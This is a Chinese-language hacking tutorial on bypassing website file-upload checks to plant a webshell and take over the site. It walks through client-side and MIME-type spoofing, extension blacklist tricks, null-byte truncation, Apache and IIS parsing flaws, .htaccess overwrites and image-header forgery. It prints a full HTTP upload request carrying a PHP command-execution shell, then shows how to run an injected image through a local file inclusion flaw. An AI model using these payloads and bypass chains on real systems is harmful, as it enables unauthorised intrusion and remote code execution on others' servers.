上傳驗證繞過總結

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
目錄
0x01 客戶端驗證繞過(javascript 擴展名檢測)
0x02 服務端驗證繞過(http request 包檢測)
- Content-type (Mime type) 檢測
0x03 服務端驗證繞過(擴展名檢測)
- 黑名單檢測
- 白名單檢測
- .htaccess 文件攻擊
0x04 服務端驗證繞過(文件完整性檢測)
- 文件頭檢測
- 圖像大小及相關信息檢測
- 文件加載檢測
0x05 各種情況下的檢測繞過分析
0x06 關於圖像代碼注入後的解析簡答
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
前言
在現在越來越安全的體系下，SQL Injection 這類漏洞已經很難在安全性很高地站點出現，比
如一些不錯的.NET 或JAVA 的框架基本上都是參數化傳遞用戶輸入，直接封死注入攻擊。
而在非php 的web 安全中最有威力的攻擊主要有兩種，第一種是SQL Injection，第二種便
是上傳繞過漏洞。（php 的還有遠程文件包含或代碼注入漏洞)
一般只要能註冊普通用戶，時常都能找到上傳頭像或附件之類的地方，這些地方就是好的突
破點，只要有辦法繞過上傳驗證，並找到一句話木馬的web 路徑基本上就能搞下這個站點。
這篇paper 並不完善，但在分類框架上還是比較全面，因爲個人經驗有限，所以所能覆蓋的
情況並不全面，也有很多地方還沒機會實踐並貼圖出來，希望大家有類似經驗的提出來，以
便我能完善這篇paper，也讓大家的交流產生更大的價值。
Blog: hi.baidu.com/hackercasper
0x01 客戶端端驗證繞過(javascript 擴展名檢測)
打開http 反向代理工具burp
先隨便點擊上傳一個2012.asa
然後還沒點Upload
burp 裏也還沒出現任何內容
便彈出了一個警告框
一看就知道是個客戶端驗證javascript
只需要把它禁掉或者通過burp 進行代理修改
這裏我用burp 進行代理修改
先將文件擴展名改成jpg
然後Upload
現在的文件名是2012.jpg
在burp 裏將jpg 改成asp
然後繼續上傳
最後可以看到asp 成功上傳
0x02 服務端驗證繞過(http request 包檢測)
- Content-type (Mime-type) 檢測
假如服務端上的upload.php 代碼如下
<?php
if($_FILES['userfile']['type'] != "image/gif") { //檢測Content-type
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
然後我們可以將request 包的Content-Type 修改
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原爲Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.</pre>
像這種服務端檢測HTTP 包的Content-Type 都可以用這種類似的方法來繞過檢測
0x03 服務端驗證繞過(擴展名檢測)
- 黑名單檢測
黑名單的安全性其實還沒白名單的安全性高，至少攻擊它的方式比白名單多多了
一般有個專門的blacklist 文件，裏面會包含常見的危險腳本文件
例如fckeditor 2.4.3 或之前版本的黑名單
1. 找黑名單擴展名的漏網之魚- 比如上面就漏掉了asa 和cer 之類
2. 可能存在大小寫繞過漏洞- 比如aSp 和pHp 之類
3. 特別文件名構造- 比如發送的http 包裏把文件名改成help.asp. 或help.asp_(下劃線爲空
格)，這種命名方式在windows 系統裏是不被允許的，所以需要在burp 之類裏進行修改，然
後繞過驗證後，會被windows 系統自動去掉後面的點和空格。
4. IIS 或nginx 文件名解析漏洞- 比如help.asp;.jpg 或http://www.xx.com/help.jpg/2.php
這裏注意網上所謂的nginx 文件名解析漏洞實際上是php-fpm 文件名解析漏洞
詳見http://www.cnbeta.com/articles/111752.htm
5. 0x00 截斷繞過- 這個是基於一個組合邏輯漏洞造成的
給個簡單的僞代碼
name = getname(http request) //假如這時候獲取到的文件名是help.asp .jpg(asp 後面爲0x00)
type = gettype(name) //而在gettype()函數裏處理方式是從後往前掃描擴展名，所以判斷爲jpg
if (type == jpg)
SaveFileToPath(UploadPath.name, name) //但在這裏卻是以0x00 作爲文件名截斷
//最後以help.asp 存入路徑裏
6. 雙擴展名解析繞過攻擊(1) - 基於web 服務的解析邏輯
比如在Apache manual 中有這樣一段描述
“Files can have more than one extension, and the order of the extensions is normally irrelevant.
For example, if the file welcome.html.fr maps onto content type text/html and language French
then the file welcome.fr.html will map onto exactly the same information. If more than one
extension is given which maps onto the same type of meta-information, then the one to the right
will be used, except for languages and content encodings. For example, if .gif maps to the
MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html
will be associated with the MIME-type text/html.”
如果上傳一個文件名爲help.asp.123
首先擴展名123 並沒有在擴展名blacklist 裏，然後擴展名123 也沒在Apache 可解析擴展名
list 裏，這個時候它會向前搜尋下一個可解析擴展名，或搜尋到.php，最後會以php 執行
7. 雙擴展名解析繞過攻擊(2) - 基於web 服務的解析方式
如果在Apache 的conf 裏有這樣一行配置
AddHandler php5-script .php
這時只要文件名裏包含.php
即使文件名是test2.php.jpg 也會以php 來執行
8. 危險解析繞過攻擊- 基於web 服務的解析方式
如果在Apache 的conf 裏有這樣一行配置
AddType application/x-httpd-php .jpg
即使擴展名是jpg，一樣能以php 方式執行
- 白名單檢測
白名單相對來說比黑名單安全一些，但也不見得就絕對安全了
1. 特別文件名構造(同黑名單攻擊第3 條)
2. IIS 或nginx 文件名解析漏洞(同黑名單攻擊第4 條)
3. 0x00 截斷繞過(同黑名單攻擊第5 條)
- .htaccess 文件攻擊
無論是黑名單還是白名單
再直接點就是直接攻擊.htaccess 文件
在PHP manual 中提到了下面一段話
move_uploaded_file section, there is a warning which states
‘If the destination file already exists, it will be overwritten.’
如果PHP 安全沒配置好
就可以通過move_uploaded_file 函數把自己寫的.htaccess 文件覆蓋掉服務上的
這樣就能任意定義解析名單了
0x04 服務端驗證繞過(文件完整性檢測)
- 文件頭檢測
主要是在文件內容開始設置好圖片文件的幻數
要繞過jpg 文件檢測就要在文件開頭寫上下圖的值
要繞過gif 文件檢測就要在文件開頭寫上下圖的值
要繞過png 文件檢測就要在文件開頭寫上下面的值
然後在文件頭後面加上自己的一句話木馬就行了
- 圖像大小及相關信息檢測
常用的就是getimagesize()函數
只需要把文件頭部分僞造好就ok 了，就是在幻數的基礎上還加了一些文件信息
有點像下面的結構
GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)
- 文件加載檢測
這個是最變態的檢測了，一般是調用的API 或函數去進行文件加載測試
常見的是圖像渲染測試，再變態點的甚至是進行二次渲染(後面會提到)
對它的攻擊一般就兩種方式，一個是渲染測試繞過，另一個是攻擊文件加載器自身
渲染測試繞過
先用GIMP 對一張圖片進行代碼注入
用winhex 看數據可以分析出這類工具的原理是
在不破壞文件本身的渲染情況下找一個空白區進行填充代碼
一般是圖片的註釋區
對於渲染測試基本上都能繞過
但如果碰到變態的二次渲染
基本上就沒法繞過了，估計就只能對文件加載器進行攻擊了
比如上傳文件前，文件的數據如下
然後上傳這個jpg 但把它重新下載回本地發現了奇怪的地方
上傳後圖片被二次渲染過
新的JPG 圖片內容裏含有這個
CREATOR: gd-jpeg v1.0 (using IJG JPEG v62)
貌似是調用的GD php 的gd 庫
測試了gif 文件也一樣
原文件內容是（雖然文件名是2.jpg，實際文件格式是gif 哈)
上傳後下載回來對比
可以發現文件被重新渲染過
一句話代碼也不見了
然後是進行報錯觸發看下是被用什麼API 或函數進行的二次渲染
上傳文件數據不完整的gif 文件
觸發報錯後，知道後臺用的是imagecreatefromgif()這個函數
上傳文件數據不完整的png 文件
觸發報錯後，知道後臺用的是imagecreatefrompng()這個函數
一般進行過二次渲染再想繞過個人經驗是幾乎不可能了
它相當於是把原本屬於圖像數據的部分抓了出來，再用自己的API 或函數進行重新渲染
在這個過程中非圖像數據的部分直接就隔離開了
如果要對文件加載器進行攻擊，常見的就是溢出攻擊，
上傳自己的惡意文件後，服務上的文件加載器進行加載測試時，被觸發攻擊執行shellcode
比如access/mdb 溢出
大家可以參考下http://lcx.cc/?FoxNews=1542.html
0x05 各種情況下的檢測繞過分析
A 客戶端端驗證繞過(javascript 擴展名檢測)
用反向代理工具(burp 之類)或禁用js 便可以繞過客戶端端驗證
B 服務端驗證繞過(http request 包檢測)
- Content-type (Mime type) 檢測
用反向代理工具(burp 之類)進行Content-type 僞造
C 服務端驗證繞過(擴展名檢測)
- 黑名單檢測
找黑名單擴展名的漏網之魚- 比如上面就漏掉了asa 和cer 之類
可能存在大小寫繞過漏洞- 比如aSp 和pHp 之類
特別文件名構造- 比如發送的http 包裏把文件名改成help.asp. 或help.asp_(下劃線爲空格)
IIS 或nginx 文件名解析漏洞- 比如help.asp;.jpg 或http://www.xx.com/help.jpg/2.php
0x00 截斷繞過- 這個是基於一個組合邏輯漏洞造成的
雙擴展名解析繞過攻擊(1) - 基於web 服務的解析邏輯
雙擴展名解析繞過攻擊(2) - 基於web 服務的解析方式
危險解析繞過攻擊- 基於web 服務的解析方式
- 白名單檢測
特別文件名構造(同黑名單攻擊第3 條)
IIS 或nginx 文件名解析漏洞(同黑名單攻擊第4 條)
0x00 截斷繞過(同黑名單攻擊第5 條)
- .htaccess 文件攻擊
在PHP 安全沒配置好的情況下，用自己的.htaccess 覆蓋服務上原文件
D 服務端驗證繞過(文件完整性檢測)
- 文件頭檢測
在文件開始僞裝文件的幻數
- 圖像分辨率檢測
在文件開始僞裝圖像大小數據
- 文件加載檢測
用工具對文件空白數據區或註釋區進行代碼注入繞過
(圖像僅能繞過渲染測試，而不能繞過二次渲染)
用惡意文件去攻擊加載器本身
E 相互關係與組合情況
首先客戶端端驗證和服務端驗證是相互獨立的，所以分開繞過就行了
主要難點是在服務端驗證的組合上
文件完整性檢測已經包含文件頭檢測和圖像大小及相關信息檢測，但不包含文件擴展名檢測
它是以加載來作爲檢測的方式，比如用圖像渲染函數去渲染一張圖片
文件擴展名檢測和文件頭檢測都是同級的，相互獨立
所以如果是文件擴展名+文件頭檢測可以同時分開繞過
0x06 關於圖像代碼注入後的解析簡答
我在自己本機搭環境測試過
環境爲Apache+PHP
發現其無法解析圖像中的一句話
我把jpg 進行代碼注入結果一句話連接失敗
我把gif 進行代碼注入結果一句話連接失敗
可能很多人都遇到過這類情況
並不真正清楚把代碼注入圖片之類後，怎麼訪問才能連接上一句話
這裏就來解釋下原理
其實就算對圖片進行代碼注入後，還需要調用對應的解析器來解析才能讓代碼得以解析執行
好比你把一個exe 擴展改成jpg，在桌面上打開，圖像查看器會報錯，說無法打開該文件
而你在cmdshell 下，無論這個exe 擴展名是什麼，哪怕是jpg，也能執行
因爲只要調用到了正確的文件加載器或解析器，它是以文件頭幻數來判斷文件格式的，而不
是文件擴展名，所以我們如果只是簡單把圖片代碼注入後，上傳訪問，這個時候，還並不能
解析裏面的一句話代碼
大家可以參考下http://hi.baidu.com/hackercasper/blog/item/38aa658ee1ca00f6f11f3649.html
常見的是結合LocalFileInclude 漏洞來解析我們的圖片
(RemoteFileInclude 和RemoteCodeExecution 在這裏就有點大才小用了哈)
比如某個站有這樣一個URL
www.website.com/view.php?page=contact.php
我們替換contact.php 爲../
www.website.com/view.php?page=../
得到一個報錯
Warning: include(../) [function.include]: failed to open stream: No such file or directory in
/home/sirgod/public_html/website.com/view.php on line 1337
就說明存在LFI 漏洞，這個時候找到我們的圖片文件路徑
用一句話client 去連接www.website.com/view.php?page=../upload/help.jpg
就可以成功的得到shell 了
還有像nginx(php-fpm)解析漏洞，也可以直接解析圖片裏的代碼
所以大家要了解哪些環境下才能對圖片裏的代碼進行解析
這樣才能結合上傳繞過最後得到webshell :)